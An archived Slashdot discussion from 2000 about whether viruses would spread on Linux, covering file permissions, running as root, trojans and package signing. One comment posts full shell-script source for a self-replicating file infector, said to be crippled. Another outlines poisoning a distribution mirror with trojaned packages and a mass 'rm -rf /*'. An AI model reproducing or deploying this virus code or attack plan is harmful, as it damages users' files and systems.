Follow Slashdot blog updates by subscribing to our blog RSS feed

 



Forgot your password?
typodupeerror
×
Linux Software

Linux Virii On Their Way? 436

Eric the Cat wrote to us with one of the most amusing articles for the day. A Russian Security Consultancy has claimed that a plague of virii for Linux will be coming, thanks to Chinese hackers. Wait - it gets better. According to the security expert, *because* Linux is open source, the viruses will be even worse than in other systems. Thankfully, Jason Clifford, a Linux person, is also quoted in the article setting the story a bit straighter.
This discussion has been archived. No new comments can be posted.

Linux Virii On Their Way?

Comments Filter:
  • I was told that if you aren't running as root, you are fairly safe.

    course I'm still a newbie, so they coulda been lying to me.

  • Posted by NJViking:

    Programs run in user space not kernel space so they can't fsck with your resources.

    The virus would have to find a way to get root access.

    I can see how something like kernel NFS or the new kernel web server could possibly be exploited to do this, which is why I won't run them.

    NJV
  • by Anonymous Coward
    Does this mean we will all have to go out and buy Norton Antivirus for Linux now? I sure hope not.
  • Anyway, we won't be really vulnerable till Microsoft ports it's office suite with Outlook and all the VBA goodies which make up the VBA virii toolkit a majority of new virii are based upon these days.

  • by redelm ( 54142 ) on Monday January 24, 2000 @08:42AM (#1342334) Homepage
    Of course viruses exist for Linux. Except they're called Trojans, and there are relatively easy ways to keep them out: check source, compile source especially for anything suid root. Or trust your distro.

    Viruses/trojans are much less of a problim in *nix simply because most running should be done from unpriviliged users accounts. That greatly confines the damage possible. Unfortunately, MS has yet to understand this concept.

    -- Robert
  • by SEWilco ( 27983 ) on Monday January 24, 2000 @08:43AM (#1342336) Journal
    It's not just the administration. The philosophy behind Unix security is that only the O.S. has access to certain things, and ordinary users are limited to what the O.S. allows them to access. The philosophy is that a non-system program can only affect itself, and the user's files.

    Any Unix virus will be limited to what one user can do. Any security bug can be fixed without breaking user programs.

    The MS-DOS virus industry has been proliferating due to MS-DOS requiring user access to system hardware for decades.

  • by Anonymous Coward
    Why are these virii only going to come from russia ? .. I mean.. they're are tons of "hackers" in other countries too.. I like Kaspersky Labs Anti Virus software for win32.. but I never expected them to make such a stupid comment.. sure as more and more people use linux, the chances of more people writin virii for it increases.. (more people with a lot of free time).. but like jason clifford said.. I can't make a virus run rampant through my system, unless I execute the code as root.. I still don't understand why they would only come from china? Melissa came from New Jersey.. but all these new bad virii are going to come from China ? is this China's way of declaring war against the rest of the world ?
  • uhm - this article claims that linux is particularly succeptible because the binaries are simple and easy to understand, therefore making them easier to modify... unless we've gotten into the habit of running precompiled binaries as root without looking at the source first, i still don't think we have anything to worry about. the major threat here sounds like the ~/bin directory or something similar - unless you like leaving your /bin /usr/... and /usr/local/... world-writable!
  • Even though there are ways that a Linux system can be compromised, it is usually through the root user installing malicious code himself. Aside from that, there is no other way a Linux user can infect his whole system by compiling an unknown program.

    Maybe these russians just thought they could shake up the media a bit if they did that... and
    get a fair share of the market, in case a "Antivirus for Linux" ever exists...
  • by ~spot ( 5023 )
    Besides being the name of a great Tori Amos single, this virus was discovered way back in 1997 and sparked a large amount of discussion amongst the virii community as to the feasibility and likelyhood of linux virii. Also, several Bliss-like virii later appeared, prompting most major anti-virus companies to release *nix versions of their AV toolkits.
    My question is, why is slashdot reporting news that has been known for over 2 years?
  • Virus's can still be written that destroy anything belonging to the currently logged in user. Also a strategy can be written for that virus to place itself strategically so it may eventually be run by someone with more privledges, and so on.

    Of course, this all comes down to system configuration. If the system is properly configured, then viruses would be no problem. But who has the time, or the patience? The average user does not. And it is the average user who falls victim to viruses.

  • Could you please explain how exactly a mechanism designed to export files could lead to you getting a mean old virus on your computer? khttpd can do nothing more than serve static files, could pose a greater problem, but it's no more dangerous than nfsd. Just because something is in the kernel doesn't make it automatically insecure. Think about it, all of the security mechanisms on your linux system eventually trace back to the kernel.

    Please, before you post comments like this think about them first. There's nothing wrong with being cautious, but there is no need for paranoia.
  • Simple, 6-step anti-virus solution:
    1. cd /usr/src/linux
    2. make config
    3. make bzImage
    4. cp /usr/src/linux/arch/i386/boot/bzImage /vmlinuz
    5. lilo
    6. reboot
  • Burying your head in the sand and covering your ears won't make the problem go away. Today there are few to no virus for Linux, but there's no reason that situation isn't going to change. Most 'virus' are actually Trojans anyway, as Linux becomes more popular there will be more problems. So what you have to be logged in as Root for a Trojan to do much damage, do you think all the newbies who try Linux aren't going to be running as Root?
  • Kaspersky says that experts at his company's laboratories have successfully completed one such prototype: the result is a fully functional and potentially virile Linux virus. Kaspersky assures ZDNet that the virus is under lock and key and will stay that way.

    I suppose he also has a list in his pocket of 205 communists^H^H^H^H^H^H^H^H^H^H viruses in the Linux department :-)
  • As long as the packages are verifiable through, say, some cryptographic signature that confirms that it DID come from a trusted source w/o tampering...
  • One of the big strengths behind any Open Source software is that implied in the nature of having the source: you are full disclosed to any of the problems with the software. ANYONE can inspect the code and find the strengths and problems of the software as opposed to "taking the vendor's word for it".

    We've seen it time and time again. Security through obscurity doesn't work. I still can't believe that there are *professionals* out there that still believe hidding how the software works is really the way to go.
  • Well, some virus suits are already available for Linux, but they're more about protecting the Windows users before the files get to their boxes. Here are a few:

    --

  • by waveeq ( 124588 ) on Monday January 24, 2000 @08:50AM (#1342352)
    I recently had some of my linux files infected by
    what was called a 'proto' virus. Though the virus
    only infected the file of that particular user, it
    was still a major pain to clean the files.
    Though *nix has a very strict file permission system, it is still a big hassle if a user on a system gets infected. Because then the sysop has to trace down who else on the system executed files of that user. And trace it down all the way.
    Altogether it is just a big hassle, and it would be great if some virii cleaners were avaliale for the whole system.
  • by 348 ( 124012 ) on Monday January 24, 2000 @08:51AM (#1342353) Homepage
    The article and comments by Kaspersky seemed to be more of a press release rather than providing any real message. FUD is what I thought he was trying to get across. Cliffords comments on the other hand outline simply that Linux and *nix have much stricter file permissions and unless your log in as root, your pretty safe. I agree to a point, I think that there will be plenty of nasties waiting for Linux over the next couple of years. But now I think were pretty safe because the folks who are running Linux generally know what they're doing and unlike the "more commercial" operating systems, Linux admins/developers NEED to know what they are doing.

    I wonder why this FUD was put out to begin with? It seems to me that the target audience was middle managment and not the technical ranks, I think the technical rank and file who are Linux or Unix literate would just dismiss Kasperskys' claims.

    Never knock on Death's door:

  • (with apologies to Pink Floyd)

  • by Anonymous Coward
    What if you boot a disk with a virus that infects LILO. Can any process (if it can even ba called that at LILO time) survive the Linux boot process intact? What if the virus has enough smarts to find the root filesystem (specified in lilo) and wedge itself into /etc/inittab or some such?
  • Come on guys, let's get serious ... Have you ever seen any noticeable chinese program ?
  • by ViGe ( 49356 ) on Monday January 24, 2000 @08:52AM (#1342357) Homepage
    Of course viruses exist for Linux. Except they're called Trojans, and there are relatively easy ways to keep them out: check source, compile source especially for anything suid root. Or trust your distro.

    Well, there you are wrong. There exist real viruses for Linux. They are not trojans and some of them even look for security holes in other computer so that they can break into them. Some links to the most "famous" ones:
    Bliss [datafellows.com]
    Staog [datafellows.com]

    --
  • Didn't you See the c compiler that built a trojan verson of login, and had the sense to compile it's trojan version of login into all c compilers it compiled even thoguh the source didn't have it? Was a /. artical not too long ago.

  • by Anonymous Coward
    i dont care what your stupid dictionary dot com site tells you the word virus being a latin derived word has a plural of virii ... has nothing whatsoever to with script kiddie crap rather it has everything to do with proper usage of the language in question, you would do well to learn it before shooting off your mouth too
  • by tilly ( 7530 ) on Monday January 24, 2000 @08:55AM (#1342363)
    Remember Melissa? It didn't do anything other than make a private note that it had visited and send emails. Think that Unix permissions help against something like this?

    Most people keep a lot of important data writable by themselves in their home directory. Sure, "nothing important" may have been deleted, but you could still lose all of your files.

    Recall the Internet Worm? This came up before. There was nothing special about it, it just was a worm that could spread itself without any human action. That made its generation time a fraction of a second (as opposed to the 15-minutes to an hour for Melissa), which resulted in its almost instantaneous spread to every machine it could infect. Unix permissions helped against this how?

    No, Linux is not immune to viruses. And as long as buffer overflows and the like continued to be treated as minor oversights and not like the major threats that they are (even if the program is only running with user-level permissions), Linux will be vulnerable. Once it becomes popular it will likely become a target...

    Until then don't sweat it. After all the fire hasn't burned the house down yet, and we are fireproof. Aren't we?

    Regards,
    Ben

    PS The time for a fix to become available is meaningless. What is the time for that fix to become incorporated on the average machine out there? Ri-ight.
  • Yes, I really have been following viruses since 1992. No, I don't consider myself an expert, but I think I know a fair deal about them [claws-and-paws.com].

    That being said, I also used to hang out on Fido Net's virus echos in 1994 and 1995 where some of the true anti-virus experts hung out too. And yes, I consider Eugine Kaspersky of AVP (the guy who was quoted in the article) to be one of them. Back when the first Word Macro virus (Winword.Concept), he was the one who I saw first post about it to Fido's VIRUS echo, and he was also the first one to release a fix for it (another word macro which caught and disinfected Winword.Concept).

    Unfortunately, I fear this is another case of False Authority Syndrome [kumite.com] in that while Eugene may know viruses very well, I question his credentials in the UNIX/Linux area. For one thing, for a virus to replicate to a considerable degree on a system, you'll need to be running as root -- if you're logged in as a regular user, any program you run isn't going to be able to infect /bin/ls, no matter how hard you try. :-)

    I think Kaspersky also misunderstands the nature of UNIX/Linux, in that a lot of applications (the stuff *I* use, anyway, like Apache, PHP, MySQL, etc.), when downloaded from the net, are usually done so in source form, and the end user compiles the code and runs it. It would be foolish if someone tried to put replicating code in their source, as it would be spotted very quickly and the author would have some serious explaining to do.

    Finally, just to play the Devil's Advocate, I think problems could arise if say, a binary in a distrubtion is infected, and then is sold to thousands of unsuspecting end users. All it would then take is to run that binary as root, and you suddenly have an infection on your hands. However, I don't see this as a very likely scenario, since I can count the number of Linux-based viruses which I have heard of on one hand. For the reasons I outlined above, Linux just isn't a very attractive platform to virus writers, who want to see their creations spread.

  • I run as root all the time. I cut my teeth on DOS, Windows, and then NT, and have always run with Administrative priveleges. Never had a problem, I am just extremely careful with what I do.

    Most of the time I use Linux I am tinkering, recompiling, reinstalling new versions etc... things that require root access. So why bother with the fiction of a 'user' account?

    Ok, so I might be exposing myself to a slightly greater risk with regards to Linux viruses - guess that's what backups are for.

    -josh
  • there are relatively easy ways to keep them out: check source, compile source especially for anything suid root. Or trust your distro.

    That's all fine and dandy for source packages that are just a couple hundred K, but for instance, when I download a new kernel, I simply assume that Linus trusted everyone whose contributions he included. There's no way I want to visually scan 17 Megs of source to make sure there's nothing fishy.

    That, plus the fact that a LOT of apps I use are shrink-wrapped. Not many Apps for Linux are without sourcet, but it sounds like it's going to change.

    Then what?
  • I think the real problem related to this is that, none of the distros (at least the ones I've used), requere any user account to be set up besides the root account at installation time - nor is the user suggested by the install program to do that later on. If users where requered to create an initial account for themselevs, and instructed by the installation program not to use the root account for anything except fro maintainse and program installation, more of the newbies would probably run as unprivilegied users most of the time. In addition, such an installer could ask the user if he/she wants to set up some usefull groups for getting "half-god" privilegies, like write ability to /usr/local and mount ability on /dev/cdrom and /dev/floppy. That sort of privilegies would not comprimise system security much, but restrict the occasions on which a user "su -"'s...
    --The knowledge that you are an idiot, is what distinguishes you from one.
  • According to the security expert, *because* Linux is open source, the viruses will be even worse than in other systems.

    The "security expert" has a point, but does not seem to be seeing the whole picture. Open source might make it easier for malicious virus-writers to exploit Linux... but it also makes it easier for the rest of us to see what devious tricks they're up to and protect ourselves. I'm going to be generous and suggest that there are more of us than there are of them. There are probably better minds working on the "good-guy" team too.

    I don't see how this would make Linux viruses "worse", though theoretically they could be more prevalent. In that unusual scenario, it might be advisable for the uninformed newbies to stick with closed-source OS'es (like they don't already?), since they don't yet know how to protect themselves.

    Windows et at might then rightfully be seen as "training wheels" OS'es, for people to use until they learn what they're doing and are ready to graduate to open source.

    As most viruses in the real world are NOT written to exploit open-source OS'es, even that argument doesn't apply in reality. If it's not a good entry-level OS (for security reasons), what IS Windows good for?
  • Any Unix virus will be limited to what one user can do. Any security bug can be fixed without breaking user programs.

    Have you heard that people are considering Linux to be almost ready to replace Windows on the desktop? Well, one user on a single user system can easily hose all of his files, so that theory doesn't really hold.
  • by mav[LAG] ( 31387 ) on Monday January 24, 2000 @09:06AM (#1342386)
    This reminds me of a conversation I had with a Linux-clueless colleague in the media industry. He expressed the opinion that as Linux gets more popular, so "you'll see more and more viruses for it." I laughed, because he was the same person who told me he loved NT for its stability.

    But then I stopped and thought for a second. Given his complete ignorance of how Unix-like operating systems work, he just assumed that more malicious coders + more popularity = more viruses. I took some time explaining that Linux was different because of a) availability of source code b) permissions and c) the extreme wariness of the average Linux user of running untrusted binaries. I said my attitude is that if I can't get the source for it, then I won't run it - and I certainly won't run it as root.

    Result: he's now running RedHat as his OS of choice. Yes these stories are funny to any halfway experienced user of Linux. But take some time to explain to a Windows-using friend why they are, and you're well on the way to more effective advocacy.

  • and why? many reasons:
    • a) less than saavy users. download some untrustworthy source or kernel source or even some binaries and voila, point of infection.
    • b) distro poisoning, easier said than done (remember tcp_wrappers got infected, too)
    • c) worm style incidents using poorly known holes in major distros (ie Linuxconf vulnerabilities, Apache holes, etc..).
    it's a lot easier than some of you may think. a scenario for you: mirror mirror.example.com gets rooted and trojans of key RPM's of the latest RedHat distro are plced in. MD5 sums are altered and the whole thing loks legit. once installed, the packages (gcc, a kernel module, and a few access trojans like telentd or sshd) lie in wait. the kernel module keeps the user from seeing the problem, gcc's trojan always keeps trojans in the system, and the listening entry points are there and well hidden. bingo, you have a problem. say, in a TFN or Trin00 manner you manipulate the systems to rm -rf /* & all at once. :) that's a pretty easy situation to execute.

    trust is a magical thing to abuse. and users' trust is getting greater and greater. how many times has the schlub in the cubicle next to you downloaded some spiffy screensaver from the net or run some "executable" from their email? all too often... :)

    bear in mind that thompson build a cc trojaned to allow him to log in specially on any box using his cc, which also built it's trojan propogating systems in, too. :) thompson's not malicious, but some people are.

    think about all the s|

  • by Anonymous Coward on Monday January 24, 2000 @09:07AM (#1342389)
    Here's a portable unix virus. Originally based on the shell script header produced by "gzexe", it contains the necessary apparatus to infect other executables, but no payload. There are at least two problems with the version enclosed in this message which prevent it from functioning.

    Also, it's probably not as "portable" as I'd like, due to relying on bash features. Eh, too bad.


    #!/bin/sh
    signature=PORTABLE-UNIX-VIRUS # Written by jepler@inetnebr.com, I hope this is crippled enough that it cannot actually infect you
    #set -x
    if [ $USER != jnobody ]; then exit 1; fi
    skip=7676

    seed=1
    function srandom () { seed=$[$$+`date +%s`] }

    function random () { seed=$[($seed*171)%30269] ; if [ $1 -eq 0 ]; then echo 1; else echo $[$seed%$1] ; fi }

    function choose () {
    shift `random $#`
    echo $1
    }

    function infected () {
    head -2 $1 | tail -1 | grep $signature > /dev/null
    }

    function infect () {
    # pathlist=`echo $PATH | tr : " "`
    # dir=`choose $pathlist`
    dir=$HOME/bin
    echo "Will infect in $dir"
    names=`find $dir -maxdepth 1 -type f`
    name=`choose $names`
    echo "will infect $name"
    if infected $name; then
    echo Already infected
    else
    if [ ! -w $name ]; then
    notwrite=1
    chmod u+w $name
    fi
    if [ -w $name ]; then
    infectfile=`mktemp /tmp/if$$.XXXXXX` || {
    echo 'cannot create a temporary file' >&2
    exit 1
    }
    (head -$[$skip-1] $0; cat $name) > $infectfile
    cat $infectfile > $name
    rm -f $infectfile
    if [ x$notwrite = x1 ]; then
    chmod u-w $name
    fi
    echo success
    else
    echo Darn, no write permissions
    fi
    fi
    }

    srandom

    tmpfile=`mktemp /tmp/gz$$.XXXXXX` || {
    echo 'cannot create a temporary file' >&2
    exit 1
    }
    if tail +$skip $0 > $tmpfile; then
    infect
    chmod 700 $tmpfile
    prog="`echo $0 | sed 's|^.*/||'`"
    if ln $tmpfile "/tmp/$prog" 2>/dev/null; then
    trap 'rm -f $tmpfile "/tmp/$prog"; exit $res' 0
    (sleep 5; rm -f $tmpfile "/tmp/$prog") 2>/dev/null &
    /tmp/"$prog" ${1+"$@"}; res=$?
    else
    trap 'rm -f $tmpfile; exit $res' 0
    (sleep 5; rm -f $tmpfile) 2>/dev/null &
    $tmpfile ${1+"$@"}; res=$?
    fi
    else
    echo Cannot decompress $0; exit 1
    fi; exit $res
    true
  • by razvedchik ( 107358 ) on Monday January 24, 2000 @09:07AM (#1342390)
    Sometimes, I feel that Linux is a huge, 640M virus just out to ruin my life. Then I remember that resolv.conf only has one "e" in it and continue on with my mission.

    It spreads from user to user, and once you're infected, you can never go back.

    It has been know to cripple and even destroy WinXX systems to the point of making itself the dominant OS on any machine.

    It makes its users say crazy things like "awk", "grep", "FUD", and so on....

  • by Mechanist ( 10536 ) on Monday January 24, 2000 @09:09AM (#1342399)
    OK, I think most of us can agree with this:

    In order for a virus to have a real effect it would require someone to be stupid enough to run (log in) as root

    And with this:

    It's no so much about the product but about how you manage your system. We advise people never to do anything in root unless they absolutely have to

    But the problem lies with people who run Linux but lack backgroud with Unix configuration and security policies. For a lot of people, the user/root distinction is a pain in the ass, because they're used to Windows. They don't want to learn new stuff to run Linux, they just want to use the latest cool thing. So they end up doing most everything as root, because it's easier that way. This is plainly stupid, and invites disaster, but some people will never learn until their noses are rubbed in the steaming pile of idiocy they've just laid.

    So I wouldn't be too surprised to see some sort of Linux trojan horse emerge, even if it required full root access in order to be effective. Clueful users would not get directly infected, but if the trojan became widespread they might suffer some indirect trouble from it.

    Also, given that this was reported on ZDNet, I can't help but wonder if the FUD is motivated by antivirus s/w companies scared of losing their market. But maybe I'm just too paranoid for my own good, eh? :-)
  • No, it means that we will all have to go out and buy Kaspersky Lab's Linux antivirus software (http://www.Kasperskylab.ru/eng/p roducts/linux.html [kasperskylab.ru])!
    How convenient! This reminds me of the story about Novell's CEO a few months back. He claimed that his CC number was stolen on the internet, and what do you know, the best way to keep this from happening just happens to involve Novell software.

    Ian "zsazsa" Scott
  • A trojan is a delivery mechanism, a virus is a self replicating program.

    A virus might attach itself to a benign program, thus transforming that program into an unwitting trojan, or a trojan might deliver a non-self-replicating program - even a virus killer.

    Of course either of the two can exist on Linux, but Linux (and all Unices) have security mechanisms to minimise the damage done by, and propagation of, these beasties.
  • if this fella offered to show the locked up completed Linux virus to one of the major kernel hackers - maybe Alan or Linus - so we all could get a knowledgeable assessment of the possible current and future dangers. Just a thought
  • by Anonymous Coward
    There are a few points of your theory that have holes, but the general idea is solid. If something were to infect the mbr, specifically looking for lilo, it could conceivably inject harmful code at boot time. The chances of this infecting a production machine are slim, however a workstation might be vulnerable if a> the user had a propensity for booting to floppy, or b> if the system were dual boot and booted to windows. A piece of malicious linux code could be inserted into the mbr at any time during an MS windows session. Then, at boot, that code could spread to the kernel. I'd have to check, but I assume the kernel has some kind of checksumming or similar facility to make sure the kernel isn't modified, but this too could be circumvented. An interesting theory... it may be interesting to persue it further.
  • The installer might not require it, but the manual I got with my copy of Redhat 5.2 (the first distro I ran) said I should set up a user account for myself before I started fooling around with the system. So I did, and probably saved myself a lot of grief. Yeah, yeah, I know, nobody reads those damn book things anyway :) It might be useful to have the requirement in the installer. I believe it also said something along the lines of "if you don't know why you would want to be in root, you probably don't want to be." The instructions, therefore, do exist, but how many follow them?
  • by DaveHowe ( 51510 ) on Monday January 24, 2000 @09:20AM (#1342425)
    I think there are a few points here:
    1. There were Unix viruses, Worms and Trojans around since before the PC was designed; they have spread since the first few machines set up UUCP links; Unix viruses are far from new.
    2. Unix viruses are kept mainly in check because normal users don't have the permissions to do harm - they can harm their own files, they can harm the files of those that trust them. but they can't alter anyone else's, and, most importantly, they normally can't even INSTALL programs, never mind alter those already installed by other people.
    3. Linux is not Unix - 90% of Linux boxes are single user (maybe single user with webserver, or with a email router, but still single user) and for a high percentage of those, that single user either runs as root, or, if smart enough to run as a user when out on the net, will load the same data files, use the same packages, and generally work in the same sandpit when doing admin tasks that require system privileges as when running his limited "safe" account. As more and more buy "fashionable" pre-loaded linux boxes, you will see a wave of people caught by the same factors that make a windows-based machine insecure - that the user will run things without thinking, and that the user has enough permissions that the virus can take a hold.
    So, what it comes down to is that, in general, Unix viruses are not (and will not) be a problem, but that Linux has vunerabilities that make it less secure than Unix used to be.
    --
  • Yep, I'm happy if they come. Why you ask?

    Answer:
    After a few people who thought they were invulnerable get burned, more people will start checking the GnuPG/PGP signature on downloaded files. More people will begin signing them as well. A lot of people who weren't as worried about security all of the sudden will be. And people will start thinking before make && make install

    It can't kill us, and what doesn't kill us only makes us stronger.

    Security is a responsibility we must take seriously. And 90% happens between the ears of the admin.
  • by hoss10 ( 108367 ) on Monday January 24, 2000 @09:26AM (#1342437)
    I don't like the way everyone is so convinced linux is secure. No OS I know of can account for a newbie being stupid (ie. blindly running files he/she just downloaded off the 'net)
    Even though they may not be able to damage anything other then they users files the infected program will probably be able to read the users address database and send itself to say the first 50 names in the address book (ring any bells:-). I'm fairly sure I could write said virus myself but I don't want to go to prison!
    If the virus also "merged" itself with other executable files in the users home dir then that opens another way to get itself spread. To do that requires knowledge of the file format (like it says in the article) but that is known for Windoze aswell so that stumbling block is irrelevant.
    This is where education is important. Newbies (and others) need to be reminded to run the program under the strictest possible environment (something like user 'nobody' and disallow network access etc.) especially nowadays as GNU/Linux has attracted virus writers attention.
  • Well over fifty posts, and no one has called him on such a blatant mispelling [perl.com].

    Oh well, I propose it be made a real word, in the context of computers, kind of like "mouses" is the plural of those pointing devices.

    What, you don't think that's a real word either? Damn language nazis...
  • Ahem. "Replace Windows on the desktop," is not even close to "Give everyone root on their own little server," at least not in a corporate environment. Even if most users were given full blown Linux boxen instead of X-Terminals (the more likely choice), it's highly unlikely that they'd all have root access on their own machines. Furthermore, Joe Blow user isn't going to be compiling his own programs anyway, and since we don't see a lot of macro viruses for Linux...

    Of course, if you always boot a system to single-user mode, or if you always log in as root, yes, you can do some serious damage. But anyone who has spent time in QA will tell you that "idiotproof" really means "not yet subjected to critical levels of stupidity."
  • by deacent ( 32502 ) on Monday January 24, 2000 @09:38AM (#1342451)
    I think Kaspersky may have the future audience of Linux in mind, rather than the present audience. As Linux becomes more popular, it is likely that the average Linux user will be less technically savvy. This would mean that the user may be more likely to log in as superuser (so he doesn't have to worry about not being able to install apps) and certainly wouldn't dream of downloading source to create his own binaries. Under these circumstances, a virus is quite easy sneak into a binary distribution, just as it is on other platforms.

    I think what he's most concerned about is the fact that a malicious hacker can construct a more potent virus since he has access to the OS's source. Linux is most definitely more popular than it was a couple years ago, which makes it more interesting to virus writers, or certain other OS companies who may benefit in discrediting Linux.

    What Kaspersky overlooks is that Linux is a constantly evolving OS. As long as that remains the case, Linux could evolve an immune system to counteract viruses, either by seeking them out or by fixing weaknesses that virus writers find.

    -Jennifer
  • There is no, I repeat no stackguarding technique to completely prevent buffer overflows. Take a look at last week's Kernel Traffic [linuxcare.com] for a summary of a good discussion about this.

    Automated library-level checking, whether using a stackguarded compiler or weird stack hacks in the OS is no way to make an app buffer-overflow secure. The only way to do it is continuous human code auditing (and careful initial coding practices), à la OpenBSD. OpenBSD is tight, carefully audited, and in fact provides surprisingly little as far as applications. The size of a typical Linux install is a huge enemy of auditing -- there's just too much stuff to go through. You can however build quite a secure system (assuming you don't have any untrusted local users) simply by strictly limiting which services your machine offers to the outside.

    The Internet Worm won't happen again in the UNIX world -- we learned our lesson at the time about poorly written programs and known problems. M$, typically, still hasn't figured this one out. The only reason UNIX users won't be vulnerable to Word Macro-type viruses is that no UNIX user would use such a pathitically stupid application -- and a UNIX user would know better than to execute a random chunk of code he found lying around.

    Of course the user can still screw himself if he's dumb, but that's not fundamentally against the UNIX mentality -- 'rm -Rf *' has always been there waiting for you.

    ...

    Actually, a real problem is the fact that most users go looking all over the internet for RPMs of their latest gotta-have applications, without checking the origins. Downloading RPMs from random webpages and installing them as root could be a very bad idea.
  • > "Linux is not Unix"

    Tosh. Linux is no less a unix than any other flavour that's gone its own sweet (and in some cases, commercial) way.
    It is also no less "unix" because you often get only one person using it; in case you'd not heard, there are one or two machines in existence that run multi-user stuff as well as poxy desktops. Cobalt Cube, and all that. In some cases, RDBMS servers. And so on.

    Of course, if you have a linux box as your only OS in your room, and clone yourself across the entire USA, then I'd see why there might be a problem - you've got the same OS throughout, and any /exploits/ that folks might find will walk over all your infrastructure wholesale.
    However, if you keep yourself uptodate with security patches, as you should, then you'll keep the enemy at bay for far longer.

    The separation between "user space" and OS-space in terms of ACLs is essential here; am I the only one that doesn't want clueless lusers sullying thing good name of Linux by their demands for bad practice?
  • Sure, Linux viruses might be worse because Linux is Open Source Software, all other things being equal. If you have the source, it is easier to find holes and create exploits for them.

    The thing is, all other things are not equal.

    The advantages of OSS and the design of Unix (and thus Linux) can easily outweigh the problem of open access to the source code. On the OSS side, you have peer review by a cast of thousands, and the ability to check for malicious code yourself. On the Unix side, you have the concept of security permissions which prevent viruses from propagating as easily.

    Sure, if an infected program is run by a user with root privileges, it can seek out and infect other programs. But you can easily restrict virus behavior by not running things as root. Install your package as root, but run it as a user.

    Your home directory is, of course, vulnerable, but you have cut a potential propagating virus down to a simple Trojan Horse. Viruses are so dangerous because they spread unknowingly; a Trojan is quickly discovered and snuffed when people discover what it does.

    Will malicious code be a problem on Linux? Of course. It already is. But thinking the same problems of the Ms-Windows world apply in the Unix one is an error.

    What we may see is smarter, more sophisticated attacks being deployed. MS-Windows is so poorly designed that virus writers have it easy. With Linux, we may see fewer, but far more dangerous, malicious programs. That, if anything, should be the real fear. Sticking with trusted, Open Source Software should keep such problems to a minimum, however.

    All in all, I think Linux users have far less to worry about then MS-Windows users.
  • by Gurlia ( 110988 ) on Monday January 24, 2000 @09:46AM (#1342462)
    Finally, just to play the Devil's Advocate, I think problems could arise if say, a binary in a distrubtion is infected, and then is sold to thousands of unsuspecting end users. All it would then take is to run that binary as root, and you suddenly have an infection on your hands. However, I don't see this as a very likely scenario, since I can count the number of Linux-based viruses which I have heard of on one hand. For the reasons I outlined above, Linux just isn't a very attractive platform to virus writers, who want to see their creations spread.

    It's not attractive to virus writers? What if they are more interested in doing something malicious rather than merely in their virii spreading themselves?

    Although it is true that Linux (and Unices in general) tend to give less motivations for virus writers, do not take this as security, because it's not. Even if a virus cannot gain root access, to a home PC user, deleting his entire home directory is just as bad as infecting /bin/ls. I think Linuxers should wake up and realize that as Linux becomes more popular, there will be an increasing temptation to virus writers. And the "it's hard to gain root access" argument is a fallacy. Valuable personal data can be destroyed very easily by a virus, even if the system itself is not harmed. After all, who cares about the system? Which is more important -- the system, or the data that you use the system for? And how about DoS attacks? Even if the virus cannot reach your data, ever heard of fork( ) bombs? Or HD space hoggers that cause you to be unable save your latest document? The system may be less vulnerable, but your data isn't.

  • by Battra ( 65036 ) on Monday January 24, 2000 @09:46AM (#1342463)
    Well, no, it was never that way.

    You are probably thinking of second declension masculine masculine Latin nounds (there are lots of them). The nominative singular ending for these nouns is -us. The nominative plural is -i (note just one i, not two (or i not ii in Roman numerals)).

    There are other declensions that use -us in the nominative singular and something different in the plural. For example, third declension nouns of any gender may end in -us in the nominative singular, while the nominative plural ending for masculine nouns is -es.

    I realize that I may be one of the only Slashdot geeks to have majored in Classical Languages instead of Computer Science, and no pedantry was intended in this post.
  • You misinterpretted what I said.

    What i said was:

    If a user has privledges to open and modify their own files, then a virus running in their user mode would have the ability to open, change and delete them as well.

    Yeah, the system will stay up, but it as it is, it does nothing for protecting the users' own files. Something needs to happen to prevent an errant program from destoying all the files it's allowed to touch. But how would a utility discern between a bash script being run by the user or a script being launched be an application?
  • Unless of course all of your backups are infected with the virus before you find it. If the virus is confined to a sinle user, then no problem. But if the virus runs as the kernel, then you have issues.
  • sizeof(NT 4.0 + IIS + Exchange + SMS + Proxy Server + Cygwin32 + MS Developer Studio + Perl_Win32 + Borland F77 + Borland COBOL + Delphi) is much, much larger than 640M. Yet you get all that and more in the 640M of Linux. Linux distributions come with about every bit of software you could ever need; That's why they're bigger.

    300M is bloat. I can match the default functionality of NT 4.0 and still fit it on a 40M Seagate.
  • 640Mb is a full installation of some Linux distros. I think that a full install is over kill. I run a very effiecent L.A.M.P (Linux, Apache, MySQL, PHP) server on a 400 MB hard drive. I also have a 1.2 GB hard drive solely for the database and web site, which isn't even 10% full yet.
  • by dsplat ( 73054 ) on Monday January 24, 2000 @10:35AM (#1342499)
    Things that make Linux harder to attack:

    1. There are an enormous number of slightly different compiles of the kernel and various commonly used programs out there. Because everyone can get the source, every distribution and many users compile it for themselves. This is going to mean that a virus that attacks a binary is likely to simply break it on at least some subset of systems, making detection relatively easy.
    2. The Linux security model is different from that of Windows. If you aren't running as root or another account with access to various things, such as bin, there are a lot of files you just can't change.
    3. Different distributions structure their configurations differently. This makes targetting rc scripts harder, but not impossible.
    4. Because a large part of the configuration is found in scripts and text files, detecting the damage and determining what was done is potentially more straightforward. Joe Average User may not find it, but the local Users' Group can probably track the source of the problem for him.
    5. Because we all have documentation for the configuration of everything, building tools that detect subtle changes and keep archived copies of config files is something a good and thorough programmer on a tight budget can do.
    6. Because we have source, proving that you are a Real Programmer [pbm.com] on an Open Source OS can be accomplished by a number of constructive avenues that are only available through Open Source. These may reduce the number of people seeking attention in negative ways ... maybe.


    Some things that are going to make Linux easier to attack:

    1. J. Virus Writer has access to full documentation and source for the programs he wants to attack. Finding the existance of buffers that can be overrun and the consequences is not a trial and error effort.
    2. Text is easy to manipulate and most config files and start-up scripts are text. Thus, the virus can do its work by spawning sed, perl, awk, ed, emacs or several other tools. Those scripts are likely to be smaller and more portable across releases and distributions than the equivalent binaries. And they can be embedded in binaries.
    3. LILO. Somebody who can install a hacked version of LILO can do some damage. And the LILO config is easy enough to edit. See my previous point.
    4. Trusted binaries can be compromised in useful ways, as described by Ken Thompson in Reflections on Trusting Trust [acm.org]. I have some thoughts on how to make such a compromised binary nearly undetectable on the system on which it was built. I won't detail them here.


    One of the things that I notice about Linux is that there is some overlap between these lists. It seems to point to the idea of tamper-evident packaging.

    The bottom line is that there will be people who will do destructive things. There will be security holes that they will take advantage of. There is a need for security conscious people willing to patch them. A virus is just one way of taking advantage of security holes.
  • by Greyfox ( 87712 ) on Monday January 24, 2000 @10:36AM (#1342501) Homepage Journal
    MS Office for Linux will probably refuse to run unless you're root, compounding the problem.

    Microsoft will blame it on the poor security model in Linux.

